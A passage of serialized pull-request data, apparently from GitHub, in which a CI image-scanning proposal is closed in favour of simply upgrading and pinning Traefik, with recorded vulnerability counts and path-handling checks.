walk-back and the digest resolution before scanning. Any way the app-image job scans something other than what it reports, or reports a false green when no image exists?\n4. Injection surface: `matrix.image.*` originates in a compose file, which is contributor-controlled on a fork PR. I route both values through `env:` and constrain service names in the script — is there a path I missed?","base_ref","head_ref","pull_request_info",[1170],{"_946":49,"_49":1171},"Closing in favour of a much smaller change — see the replacement PR.\n\nScope call from the repo owner: just upgrade and pin Traefik. The Trivy scanning of third-party images, the scheduled image audit, the enumerator script and the ignore file are all dropped as disproportionate to the fix.\n\nRecording what was verified here, since it stands regardless of the machinery:\n\n- `traefik:v3.5` → **57 fixable HIGH/CRITICAL**; `traefik:v3.7.10` → **0**. Matches the issue's numbers.\n- v3.7.10's *default* path handling is identical to v3.5.6's: `sanitizePath` has defaulted true since v3.3.6, and the v3.6.7 `http.encodedCharacters.*` knobs all default to `true`. The router rule here is `Host(…)` only, so nothing routes on the path and no split view is reachable.\n- The Postgres pin carries 15 fixable HIGH/CRITICAL, all Go stdlib in `/usr/local/bin/gosu`, and the pinned digest is already the newest published `18-trixie` — there is nothing to bump to. Noted for the record; not actioned.\n\n@codex thanks — all three of your findings were real and were fixed here before the scope change; they died with the files they were against, so no action needed on the replacement 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